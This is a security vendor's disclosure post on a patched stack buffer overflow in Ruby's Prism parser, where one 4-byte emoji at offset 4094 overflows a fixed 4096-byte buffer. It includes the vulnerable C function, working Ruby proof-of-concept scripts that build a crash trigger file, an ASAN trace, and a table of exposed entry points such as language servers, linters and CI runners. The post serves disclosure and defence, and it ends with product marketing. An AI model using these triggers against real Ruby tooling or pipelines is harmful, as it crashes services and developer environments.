# One Emoji Is Enough to Crash Ruby > A single 4-byte emoji overflows a fixed stack buffer in Prism, Ruby's default parser since 3.4. What breaks, why the safety check causes it, and the fix. Author: Cantina Published: August 4, 2026 Topics: Ruby, Prism, vulnerability, buffer overflow, memory safety, Apex, application security Canonical URL: https://www.cantina.security/blog/one-emoji-is-enough-to-crash-ruby A single emoji, placed in the right spot inside a Ruby source file or input stream, can overflow a fixed buffer in Ruby's default parser and crash the program. Cantina's research team used Apex, our autonomous OffSec agent, to find it, confirm it, and report it to the Ruby maintainers. The technically interesting part is that the crash comes from a safety feature: the behavior that keeps multibyte characters from breaking is exactly what tips the buffer over the edge. The issue has been patched by the Ruby team [here](https://github.com/ruby/prism/pull/4172). ## The Prism Parser and Its Stream Interface Every Ruby program passes through three stages before it runs. First, the source text is parsed into a concrete syntax tree. Second, that tree is compiled to YARV bytecode, the instruction set consumed by the Ruby virtual machine. Third, the VM interprets those bytecodes one by one, allocating objects and calling methods. Prism owns the first stage. Prism became Ruby's default parser starting with Ruby 3.4. It replaced the hand-written LALR(1) parser that had shipped with Ruby since 1993, with a goal of being embeddable, re-entrant, and usable as a library outside the Ruby runtime itself. The parser is written in portable C and lives in `prism/prism.c`, with a Ruby C extension binding in `prism/extension.c`. Because Prism runs before the VM, any crash inside it happens before a single line of the input program executes. Input validation code that calls the parser to check the source before running it is itself part of the attack surface. Ruby source can reach Prism through three distinct entry points. The file path passes a filename; Prism memory-maps or reads the file to a contiguous buffer. The string path takes a Ruby String object and reads its bytes directly. The stream path accepts any Ruby object that responds to `gets`, making it suitable for parsing from pipes, network sockets, StringIO objects, and any custom IO-like class. IDE language servers and lint tools typically use the stream path when processing files that are open in an editor but not yet saved to disk. ### The Stream Reader Contract The stream path is implemented as a read loop in `pm_parse_stream` (`prism.c`). The loop calls a user-supplied read function repeatedly until it returns a zero-length string, assembling lines into an internal `pm_string_t` buffer. In the Ruby extension, that read function is `pm_parse_stream_read`, which calls `stream.gets(size-1)` on the Ruby IO object and copies the result into a fixed stack buffer before handing it to the parser. The 4096-byte line buffer has been present since Prism's initial merge. The constant `LINE_SIZE` is defined at the top of `extension.c` and is also used in a second call site, `pm_parse_stdin_fgets`, which reads source from standard input when Ruby is invoked as `ruby < script.rb`. ![Diagram showing Ruby IO passing through rb_funcall and pm_parse_stream_read into a fixed 4096-byte C parser buffer](./one-emoji-is-enough-to-crash-ruby/ruby-prism-dataflow.png) *Data flow: a Ruby IO object passes through the Prism stream bridge into a fixed 4096-byte stack buffer in the C parser.* ## UTF-8 and Ruby's IO#gets(limit) Contract Ruby's `IO#gets(limit)` is specified to return at least `limit` bytes when a full line is not yet found. The edge case is multibyte characters. If the byte at position `limit` is in the interior of a multibyte UTF-8 codepoint, Ruby extends the read by up to 16 additional bytes, one at a time, until the final codepoint is complete. This behavior is documented and intentional: splitting a multibyte codepoint at an arbitrary byte boundary would produce an invalid UTF-8 string, which would break downstream string operations. The extension logic lives in `rb_io_getline_0` in `io.c`. The relevant section is the `extra_limit` loop, which fires when the last byte of the returned string is a leading UTF-8 byte (values 0xC0 to 0xFF) or an incomplete continuation byte sequence. ![Byte layout showing why gets(4095) returns 4098 bytes when a four-byte emoji begins at offset 4094](./one-emoji-is-enough-to-crash-ruby/ruby-prism-utf8.png) *U+1F600 (GRINNING FACE) encodes as F0 9F 98 80. When its leading byte lands at offset 4094, `gets(4095)` extends the read by three bytes to finish the codepoint, returning 4098 bytes total.* ## The Vulnerability **High · Stack buffer overflow · `pm_parse_stream_read` · `prism/extension.c` · Ruby 3.4.0 to 3.4.9, Ruby 4.0.x** `pm_parse_stream_read` allocates a 4096-byte stack buffer named `line`, then calls `stream.gets(size-1)`, which resolves to `gets(4095)`, and copies the result into the buffer with `memcpy` followed by a NUL terminator. There is no length check between `RSTRING_LEN(result)` and `LINE_SIZE`. For a 4-byte UTF-8 codepoint starting at byte offset 4094, `gets(4095)` returns 4098 bytes. The `memcpy` writes 4098 bytes into a 4096-byte buffer, overflowing by 2 bytes, and the NUL write overflows by 3. ```c #define LINE_SIZE 4096 static void pm_parse_stream_read(pm_string_t *string, void *fifo, size_t size) { char line[LINE_SIZE]; // fixed 4096-byte stack buffer VALUE result = rb_funcall( ((pm_parse_stream_t *)fifo)->stream, rb_intern("gets"), 1, INT2NUM(size - 1)); // gets(4095) if (NIL_P(result)) { pm_string_constant_init(string, "", 0); return; } size_t length = RSTRING_LEN(result); // 4098 for our payload memcpy(line, RSTRING_PTR(result), length); // OVERFLOW: writes line[4096..4097] line[length] = '\0'; // OVERFLOW+1: writes line[4098] pm_string_owned_init(string, (uint8_t *)line, length); } ``` Three consecutive lines each assume the return value fits within `LINE_SIZE`. The fixed stack buffer, the unchecked `gets` call, and the unchecked `memcpy` form the overflow path. ![Stack frame diagram showing two emoji bytes and a trailing NUL spilling past line[4095] into the stack guard region](./one-emoji-is-enough-to-crash-ruby/ruby-prism-stack.png) *The stack frame at the moment of overflow. The tail bytes 98 80 and the trailing NUL are written above `line[4095]`, past the 4096-byte buffer and into the stack guard region, which aborts the process.* ### Why a 4-Byte Emoji Triggers the Extension UTF-8 encodes code points above U+07FF using multi-byte sequences. U+1F600 (GRINNING FACE) encodes as the four bytes F0 9F 98 80. The leading byte F0 signals a 4-byte sequence; the continuation bytes 9F 98 80 each have the high bits 10xxxxxx. When `gets(4095)` fills its buffer up to byte 4094, the next byte it reads is F0, the leading byte of a 4-byte UTF-8 codepoint that is not yet complete. Ruby's `extra_limit` loop reads one additional byte at a time, up to 16 retries, until the sequence is complete. For a 4-byte codepoint, three additional bytes are consumed, returning a 4098-byte string. | Offset | Byte | Role | In result? | Note | | --- | --- | --- | --- | --- | | 0 to 4093 | 61…61 | ASCII 'a' fill | Yes (nominal) | | | 4094 | F0 | UTF-8 leading byte, 4-byte seq | Yes | triggers extension loop | | 4095 | 9F | Continuation byte 1 | Yes, ext +1 | last byte within buffer | | 4096 | 98 | Continuation byte 2 | Yes, ext +2 | writes line[4096], overflow | | 4097 | 80 | Continuation byte 3 | Yes, ext +3 | writes line[4097], overflow | | 4098 | 00 | NUL by C code | Written by C | line[4098] = NUL byte, overflow +1 | ## Proof of Concept Run the script on any Ruby 3.4.x or 4.0.x binary compiled with Prism. With stack protection enabled (the default on Linux), the process exits 134 (SIGABRT) immediately after the NUL write trips the SSP canary check. Under ASAN the overflow is caught two bytes earlier, at the `memcpy`. ```ruby #!/usr/bin/env ruby require 'prism' require 'stringio' LINE_SIZE = 4096 ASCII_COUNT = 4094 EMOJI = "\xF0\x9F\x98\x80" # U+1F600, bytes: F0 9F 98 80 # Craft the payload: 4094 ASCII bytes + 4-byte emoji = 4098 bytes total. # Encoding dance: build as binary, force to UTF-8 so Prism parses it. payload = ("a" * ASCII_COUNT + EMOJI.b).b.force_encoding("UTF-8") puts "payload.bytesize = #{payload.bytesize}" puts "overflow bytes = #{payload.bytesize - LINE_SIZE} controlled + 1 NUL" # Write the trigger file for the stdin variant. File.binwrite("/tmp/trigger.rb", payload.b) # Demonstrate that StringIO#gets(4095) really does extend past the limit. io = StringIO.new(payload) line = io.gets(LINE_SIZE - 1) puts "gets(#{LINE_SIZE - 1}) returned #{line.bytesize} bytes " \ "(extended: #{line.bytesize > LINE_SIZE - 1})" # Show that positioning the emoji so it fits entirely within 4095 bytes is safe. safe = ("a" * 4091 + EMOJI.b).b.force_encoding("UTF-8") sl = StringIO.new(safe).gets(LINE_SIZE - 1) puts "safe gets returned #{sl.bytesize} bytes (overflow: #{[sl.bytesize - LINE_SIZE, 0].max})" puts "triggering..." $stdout.flush # CRASH: memcpy writes 4098 bytes into char line[4096] Prism.parse_stream(StringIO.new(payload)) puts "returned (unexpected, no crash)" ``` ### Expected Output (Linux, SSP enabled) ```text $ ruby trigger.rb payload.bytesize = 4098 overflow bytes = 2 controlled + 1 NUL gets(4095) returned 4098 bytes (extended: true) safe gets returned 4095 bytes (overflow: 0) triggering... *** stack smashing detected ***: terminated Aborted (core dumped) # exit 134 ``` ### File-IO Variant The same payload reaches `pm_parse_stream_read` through the stdin entry point. The trigger file is written by the reproducer above. ```ruby #!/usr/bin/env ruby # File-IO variant: feed the trigger file through stdin # ruby < /tmp/trigger.rb # # Generates the trigger file then re-execs Ruby on it: require 'prism' LINE_SIZE = 4096 payload = ("a" * 4094 + "\xF0\x9F\x98\x80".b).b File.binwrite("/tmp/trigger.rb", payload) puts "Wrote /tmp/trigger.rb (#{payload.bytesize} bytes)" puts "Run: ruby < /tmp/trigger.rb" ``` ```text $ ruby gen_trigger.rb && ruby < /tmp/trigger.rb Wrote /tmp/trigger.rb (4098 bytes) *** stack smashing detected ***: terminated ``` ### ASAN Report Compiled with `-fsanitize=address -fno-stack-protector -O1` to suppress SSP and let ASAN report the exact overflow site and size. ```text ==7==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffc3d2d1e0 at pc 0xb2899ed83b14 bp 0xffffc3d2c050 sp 0xffffc3d2b828 WRITE of size 4098 at 0xffffc3d2d1e0 thread T0 #0 0xb2899ed83b10 in memcpy #1 0xb2899f32a2e4 in parse_stream_fgets prism/extension.c:1020 #2 0xb2899f34d8e8 in pm_parse_stream_read prism/prism.c:22984 #3 0xb2899f3c0a04 in pm_parse_stream prism/prism.c:23060 #4 0xb2899f3299ac in parse_stream prism/extension.c:1045 Address 0xffffc3d2d1e0 is located in stack of thread T0 at offset 4128 in frame #0 0xb2899f34d7c0 in pm_parse_stream_read prism/prism.c:22980 This frame has 1 object(s): [32, 4128) 'line' (line 22982) <== Memory access at offset 4128 overflows this variable SUMMARY: AddressSanitizer: stack-buffer-overflow in memcpy ``` ## Attack Surface The overflow fires in the parser itself, before any Ruby code in the target file is executed and before any validation on the parsed AST runs. Applications that call the parser to validate or inspect user-supplied source before evaluating it are exposed. | Entry Point | Vulnerable API | Typical Caller | | --- | --- | --- | | Direct stream | `Prism.parse_stream(io)` | Custom lint/analysis tools | | Stdin | `ruby < attacker_file` | `pm_parse_stdin_fgets`, same buffer size | | Instruction sequence | `RubyVM::InstructionSequence.compile(src, file_obj)` | JIT compilers, code loaders | | IDE language server | Ruby LSP and Solargraph, both parse open files | Triggered by opening a crafted file in VS Code | | Linters / formatters | RuboCop with Prism backend | `rubocop attacker_file.rb` | | CI test runners | Minitest / RSpec compile test files before execution | A malicious test file in a pull request | ## Affected Versions | Version | Status | Prism default | | --- | --- | --- | | Ruby 3.4.0 to 3.4.9 | Vulnerable | Yes | | Ruby 4.0.x | Vulnerable | Yes | | Ruby 3.3.x | Vulnerable (opt-in) | No, requires `--parser=prism` | | Ruby ≤ 3.2.x | Not affected | Prism not available | *Validated on: ruby 3.4.9 (2026-03-11 revision 76cca827ab) +PRISM [aarch64-linux].* ## About Cantina Cantina ([cantina.security](https://cantina.security)) is an agentic security operating system that delivers staff-level security work at scale, so lean teams get the capacity of a team many times their size. It finds the issues that matter, prioritizes them, remediates them correctly, and proves the loop is closed across both code and runtime. Apex is the offensive security and research engineer behind Cantina. The same capability that found this overflow in Ruby's default parser runs against customer code every day. It forms hypotheses about trust boundaries, tests them end to end, and hands engineers a validated finding instead of a queue of maybe-bugs, with the Cantina research team revalidating every result before it reaches you. Earlier Apex disclosures have included a critical RCE in Spring AI, a privilege escalation in Spring Security, a race condition in Ruby core, 13-year-old bugs in WebKit, a privilege escalation in Anthropic's Claude Code, and 44-year-old bugs in OpenSSH. This post covers a stack buffer overflow in Ruby's Prism parser that fires during streaming source reads of UTF-8 content containing multibyte codepoints near a 4096-byte line boundary. Prism is the default parser in current Ruby, so it sits in the critical path of a large share of the web's Ruby applications. A crash that fires before a single line of the target program runs is exactly the kind of deep, pre-execution flaw that periodic audits tend to miss. Finding it took one focused pass. Closing the gaps it represents takes a security loop that runs as continuously as your software ships. [Book a demo](https://cantina.security) to see what Apex finds in your codebase.